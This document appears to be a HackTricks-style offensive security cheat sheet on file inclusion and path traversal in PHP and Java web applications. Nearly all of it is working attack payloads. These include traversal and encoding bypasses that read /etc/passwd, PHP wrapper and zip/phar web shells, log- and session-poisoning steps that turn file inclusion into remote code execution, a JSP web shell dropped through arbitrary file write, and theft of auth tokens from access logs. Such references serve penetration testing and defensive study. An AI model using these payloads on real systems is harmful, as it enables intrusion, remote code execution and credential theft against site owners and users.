> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# File Inclusion / Path Traversal

> Techniques for exploiting Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities, PHP wrappers, LFI-to-RCE chains, and path traversal bypasses.

**Remote File Inclusion (RFI):** The file is loaded from a remote server, potentially allowing code execution.
**Local File Inclusion (LFI):** The server loads a local file based on user-controlled input.

Vulnerable PHP functions: `require`, `require_once`, `include`, `include_once`

## Basic LFI

```
http://example.com/index.php?page=../../../etc/passwd
```

### Common LFI Parameters

```
?cat=
?dir=
?action=
?file=
?download=
?path=
?folder=
?page=
?inc=
?view=
?content=
?layout=
```

## LFI Bypass Techniques

<Tabs>
  <Tab title="Non-Recursive Stripping">
    ```
    http://example.com/index.php?page=....//....//....//etc/passwd
    http://example.com/index.php?page=....\/.....\/.....\/../etc/passwd
    http://some.domain.com/static/%5c..%5c..%5c..%5c../etc/passwd
    ```
  </Tab>

  <Tab title="Null Byte">
    ```
    http://example.com/index.php?page=../../../etc/passwd%00
    ```

    <Note>Fixed since PHP 5.4</Note>
  </Tab>

  <Tab title="URL Encoding">
    ```
    http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
    http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
    ```
  </Tab>

  <Tab title="Filter Tricks">
    ```
    http://example.com/index.php?page=....//....//etc/passwd
    http://example.com/index.php?page=../../../var/www/../../etc/passwd
    http://example.com/index.php?page=PhP://filter
    ```
  </Tab>
</Tabs>

## PHP Wrappers for LFI/RFI

<AccordionGroup>
  <Accordion title="php://filter">
    ```php theme={null}
    # Read file as base64
    php://filter/convert.base64-encode/resource=/etc/passwd

    # Chain filters
    php://filter/read=string.toupper|string.rot13|string.tolower/resource=/etc/passwd

    # Compress + base64
    php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

    # Convert encoding
    php://filter/convert.iconv.utf-8.utf-16le/resource=/etc/passwd
    ```
  </Accordion>

  <Accordion title="data://">
    ```
    http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
    http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
    ```

    <Note>Restricted by `allow_url_include` setting</Note>
  </Accordion>

  <Accordion title="expect://">
    ```
    http://example.com/index.php?page=expect://id
    http://example.com/index.php?page=expect://ls
    ```

    Requires the expect PHP extension to be loaded.
  </Accordion>

  <Accordion title="phar://">
    Upload a ZIP file with a PHP shell, then access it:

    ```bash theme={null}
    echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php
    zip payload.zip payload.php
    # Access: ?page=phar://shell.jpg%23payload.php
    ```
  </Accordion>

  <Accordion title="zip:// and rar://">
    ```bash theme={null}
    echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php
    zip payload.zip payload.php
    mv payload.zip shell.jpg
    # Access: ?page=zip://shell.jpg%23payload.php
    ```
  </Accordion>

  <Accordion title="php://input">
    ```bash theme={null}
    curl -XPOST "http://example.com/?page=php://input" --data "<?php system('id'); ?>"
    ```
  </Accordion>
</AccordionGroup>

## HTML-to-PDF Path Traversal

Modern HTML-to-PDF engines (TCPDF, html2pdf) parse attacker-provided HTML with filesystem access:

```
# Inline SVG payload (fingerprint Producer field first)
<img src="data:image/svg+xml;base64,[BASE64_SVG_WITH_XLINK_HREF_TO_LOCAL_FILE]" />

# Bypass naive filter (TCPDF ≤ 6.8.2 only checks for '../' before decoding)
src="..%2f..%2fetc%2fpasswd"

# Double-encode for multi-stage decoding
src="..%252f..%252fetc%252fpasswd"
```

<Tip>
  Fingerprint the renderer: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Older versions have path filter vulnerabilities.
</Tip>

## LFI to RCE Techniques

<Steps>
  <Step title="Via Log File Poisoning">
    Inject a PHP shell into Apache/Nginx access logs via User-Agent, then include the log:

    ```bash theme={null}
    # Poison the log
    curl -A '<?php system($_GET["c"]); ?>' http://target.com/

    # Include via LFI
    ?page=/var/log/apache2/access.log&c=id
    ```

    Common log paths:

    ```
    /var/log/apache2/access.log
    /var/log/nginx/access.log
    /var/log/httpd/error_log
    ```
  </Step>

  <Step title="Via PHP Session">
    ```
    # Set cookie: PHPSESSID=sessionid
    # Poison session: login parameter = <?php system('id'); ?>
    login=1&user=<?php system("id");?>&pass=password&lang=en_us.php

    # Include session file
    ?page=/../../../../../var/lib/php5/sess_sessionid
    ```
  </Step>

  <Step title="Via /proc/self/environ">
    ```bash theme={null}
    GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
    User-Agent: <?=phpinfo(); ?>
    ```
  </Step>

  <Step title="Via PHP Filters (No File Needed)">
    Use PHP filter chains to generate arbitrary PHP code without writing to disk. See [php\_filter\_chain\_generator](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
  </Step>

  <Step title="Via phpinfo() (file_uploads=on)">
    If phpinfo() is accessible with `file_uploads=on`, exploit the race condition between temp file creation and cleanup.
  </Step>

  <Step title="Via Nginx Temp Files">
    If Nginx is running in front of PHP with LFI, abuse Nginx temp file storage to achieve RCE.
  </Step>
</Steps>

## PHP Blind Path Traversal (Error Oracle)

<Warning>
  Useful when you control a file path in a PHP function but don't see the file contents. Exploit using the UCS-4LE encoding trick to exfiltrate file contents char by char via error oracle.
</Warning>

Vulnerable functions: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `file`

## Arbitrary File Write via Path Traversal

When an upload handler builds a destination path from user-controlled data without canonicalizing:

```xml theme={null}
<!-- Example JMF-style arbitrary write -->
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks">
  <Command Type="SubmitQueueEntry">
    <Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
    <Data><![CDATA[
      <%@ page import="java.io.*" %>
      <% String c = request.getParameter("cmd"); if (c!=null) { Process p=Runtime.getRuntime().exec(c); } %>
    ]]></Data>
  </Command>
</JMF>
```

## Token Harvest from Access Logs

If an app accepts session/auth tokens via GET (e.g., `?AuthenticationToken=`), read access logs via LFI to steal tokens:

```http theme={null}
GET /vuln/asset?name=..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
```

Then replay captured token:

```http theme={null}
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
```

## curl --path-as-is for Path Traversal

```bash theme={null}
# Prevent curl from normalizing ../ sequences
curl --path-as-is -b "session=$SESSION" \
  "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
  --ignore-content-length -s | tr '\000' '\n'
```

## Resources

* [PayloadsAllTheThings File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
* [LFI Wordlist (Linux)](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt)
* [LFI Wordlist (Windows)](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt)